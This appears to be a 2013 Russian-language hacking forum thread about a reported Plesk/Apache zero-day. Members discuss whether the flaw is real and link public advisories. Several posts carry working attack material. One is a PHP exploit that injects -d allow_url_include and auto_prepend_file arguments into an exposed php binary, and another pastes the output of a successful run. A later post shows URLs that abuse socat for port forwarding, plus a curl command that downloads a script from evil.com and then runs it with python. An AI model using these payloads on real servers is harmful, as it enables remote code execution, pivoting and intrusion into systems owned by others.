Старый 06.06.2013, 05:01   #1
mehdi racha
 
Регистрация: 09.11.2012
Сообщений: 12
Репутация: 0
Talking Plesk Apache zeroday

Plesk 0-Day Targets Web Servers



http://seclists.org/fulldisclosure/2013/Jun/21
http://blogs.cisco.com/security/plesk-0-day-targets-web-servers/
mehdi racha вне форума   Ответить с цитированием
Старый 06.06.2013, 09:06   #2
nikp
Banned
 
Регистрация: 05.07.2010
Сообщений: 201
Репутация: 183
По умолчанию

http://www.exploit-db.com/exploits/25986/
===
Цитата:
Сообщение от Twost Посмотреть сообщение
Как я понимаю, для эксплуатации этого сплойта должен быть бажный php cgi. (это который -d, -s и т.п.)
В чем суть тогда искать панели с scriptAlias /phppath/ "/usr/bin/", если это не показатель, и нужен бажный пхп?
Вроде бы уязвимы сервера которые поддерживают прямой алиас на интерпретатор php

Последний раз редактировалось nikp; 06.06.2013 в 10:05..
nikp вне форума   Ответить с цитированием
Старый 06.06.2013, 09:47   #3
Twost
 
Аватар для Twost
 
Регистрация: 03.07.2010
Сообщений: 172
Репутация: 110
По умолчанию

Ребята, а кто мне объяснит, в чем суть?
Как я понимаю, для эксплуатации этого сплойта должен быть бажный php cgi. (это который -d, -s и т.п.)
В чем суть тогда искать панели с scriptAlias /phppath/ "/usr/bin/", если это не показатель, и нужен бажный пхп?

Или просто у хакера попался сервер с бажным php в режиме cgi, и там случайно стоял plesk?

Последний раз редактировалось Twost; 06.06.2013 в 09:49..
Twost вне форума   Ответить с цитированием
Старый 06.06.2013, 10:14   #4
d0znpp
 
Аватар для d0znpp
 
Регистрация: 09.09.2010
Сообщений: 484
Репутация: 252
По умолчанию

это выглядит как фейк
особенно странно, что ничего про версии не пишут, как понимаю, сейчас на nginx все вообще)

Ключ тут:
Цитата:
If the server in question runs an OS where php executes as a cgi by
default instead of as an apache module, AND either the OS vendor has not
released a patched php-cgi for cve-2012-1823 or the server owner is not up
to date on their patches
Кто потестит - отпишите, у меня по нулям все пока

http://seclists.org/fulldisclosure/2013/Jun/25
Цитата:
I know my situation was very weird, so I'm just theorizing now, but I'm
kind of thinking at this point that perhaps the exploit only works in the
following specific situations:

1) If the server in question runs an OS where php executes as a cgi by
default instead of as an apache module, AND either the OS vendor has not
released a patched php-cgi for cve-2012-1823 or the server owner is not up
to date on their patches. My example of just copying the OS php-cgi over
top of the one that had been in use on the single instance resolved it, so
that's what lead me to that conclusion. I do not know which
Plesk-supported OS's run php as a cgi by default.

2) If the server in question runs Plesk 9, AND the server admin or site
owner has set php to run as a cgi, AND the php-cgi has not been patched for
cve-2012-1823.

In CentOS/RHEL, if you install httpd and mod_php, the default config is to
run it as an apache module and this exploit did not work in those
situations; same with Plesk 9. I also attempted to set php to run as a cgi
on a few sites on Plesk 9 on CentOS 5 and the exploit did not work, but all
of the CentOS 5 servers I have access to have their php rpm up to date
which means it is patched for cve-2012-1823. CentOS 4 was never php 5 so
it was not vulnerable to cve-2012-1823 to begin with and Plesk 8 and Plesk
9 on that platform don't seem to be vulnerable.

If someone has an out of date copy of CentOS 5 running Plesk 9, it would be
interesting to set a site to run php as a cgi and then hit it with the
script to see if the exploit works. If it does, then it's the
cve-2012-1823 issue and just unpatched servers causing the problem, but
only when the exploit hits a website that has php set to run as a cgi, or
the OS runs it as a cgi by default (don't know which ones do that).
__________________
The Sucks Origin Policy

Последний раз редактировалось d0znpp; 06.06.2013 в 10:22..
d0znpp вне форума   Ответить с цитированием
Старый 06.06.2013, 11:16   #5
oRb
 
Аватар для oRb
 
Регистрация: 01.07.2010
Сообщений: 319
Репутация: 138
По умолчанию

Цитата:
Сообщение от Twost Посмотреть сообщение
Ребята, а кто мне объяснит, в чем суть?
Как я понимаю, для эксплуатации этого сплойта должен быть бажный php cgi. (это который -d, -s и т.п.)
В чем суть тогда искать панели с scriptAlias /phppath/ "/usr/bin/", если это не показатель, и нужен бажный пхп?

Или просто у хакера попался сервер с бажным php в режиме cgi, и там случайно стоял plesk?
тут не php-cgi, а консольный php. Это 2 разных бинарника.
__________________
Не оказываю никаких услуг.
I don't provide any services.
oRb вне форума   Ответить с цитированием
Старый 06.06.2013, 11:39   #6
Twost
 
Аватар для Twost
 
Регистрация: 03.07.2010
Сообщений: 172
Репутация: 110
По умолчанию

Цитата:
Сообщение от oRb Посмотреть сообщение
тут не php-cgi, а консольный php. Это 2 разных бинарника.
Кхм... ты прав.

Цитата:
$ perl pleskwwwzeroday/plesk-simple.pl localhost
HTTP/1.1 200 OK
Date: Thu, 06 Jun 2013 08:36:08 GMT
Server: Apache/2.2.22 (Ubuntu)
Vary: Accept-Encoding
Transfer-Encoding: chunked
Content-Type: text/html

3
OK

64
Linux ***** 3.5.0-22-generic #34-Ubuntu SMP Tue Jan 8 21:41:11 UTC 2013 i686 i686 i686 GNU/Linux

36
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Цитата:
$ tail -3 /etc/apache2/sites-enabled/000-default
scriptAlias /phppath/ "/usr/bin/"

</VirtualHost>
Twost вне форума   Ответить с цитированием
Старый 06.06.2013, 11:43   #7
oRb
 
Аватар для oRb
 
Регистрация: 01.07.2010
Сообщений: 319
Репутация: 138
По умолчанию

Тоже только что потестил у себя. Добавил scriptAlias /phppath/ "/usr/bin/" в конфиг. Налобал следующий сплойтик:
PHP код:
<?php

$url 
'http://localhost/phppath/php';
$postdata '<?php echo "Content-Type:text/plain\r\n\r\n";phpinfo(); ?>';

$args = array(
    
'-d allow_url_include=on',
    
'-d auto_prepend_file=php://input',
    
'-n'
);

$opts = array('http' =>
    array(
        
'method'  => 'POST',
        
'header'  => 'Content-type: application/x-www-form-urlencoded',
        
'content' => $postdata
    
)
);

$context stream_context_create($opts);

$result file_get_contents($url '?' implode('+'array_map('urlencode'$args)), false$context);
echo 
$result PHP_EOL;
//
__________________
Не оказываю никаких услуг.
I don't provide any services.
oRb вне форума   Ответить с цитированием
Старый 06.06.2013, 11:52   #8
Twost
 
Аватар для Twost
 
Регистрация: 03.07.2010
Сообщений: 172
Репутация: 110
По умолчанию

Осталось только выяснить, есть ли такой алиас в реальности)
Цитата:
Сообщение от oRb Посмотреть сообщение
Тоже только что потестил у себя. Добавил scriptAlias /phppath/ "/usr/bin/" в конфиг. Налобал следующий сплойтик:
PHP код:
<?php

$url 
'http://localhost/phppath/php';
$postdata '<?php echo "Content-Type:text/plain\r\n\r\n";phpinfo(); ?>';

$args = array(
    
'-d allow_url_include=on',
    
'-d auto_prepend_file=php://input',
    
'-n'
);

$opts = array('http' =>
    array(
        
'method'  => 'POST',
        
'header'  => 'Content-type: application/x-www-form-urlencoded',
        
'content' => $postdata
    
)
);

$context stream_context_create($opts);

$result file_get_contents($url '?' implode('+'array_map('urlencode'$args)), false$context);
echo 
$result PHP_EOL;
//
Twost вне форума   Ответить с цитированием
Старый 06.06.2013, 12:15   #9
oRb
 
Аватар для oRb
 
Регистрация: 01.07.2010
Сообщений: 319
Репутация: 138
По умолчанию

Есть еще 1 фишка. При такой настройке можно выполнять любую программу из /usr/bin/, а не только php. У меня, к примеру, там лежит socat.
Захожу http://localhost/phppath/socat?tcp-listen:31339+tcp-connect:localhost:3306
Получаю проброшенный порт

Еще можно сканить локальную сетку, если установлен curl.

UPD:
можно качнуть со своего сервера подготовленный скрипт, а вторым запросом его уже выполнить. Например так:
http://localhost/phppath/curl?-o+/tmp/py+evil.com/script
http://localhost/phppath/python?/tmp/py
__________________
Не оказываю никаких услуг.
I don't provide any services.

Последний раз редактировалось oRb; 06.06.2013 в 12:27..
oRb вне форума   Ответить с цитированием
Старый 06.06.2013, 12:17   #10
Twost
 
Аватар для Twost
 
Регистрация: 03.07.2010
Сообщений: 172
Репутация: 110
По умолчанию

сейчас посмотрел штук 15 серверов с плеском разных версий, нигде нет такого алиаса.

Сплойт то рабочий, только вот алиас выдуманный, мне кажется)
Twost вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2020, Jelsoft Enterprises Ltd. Перевод: zCarot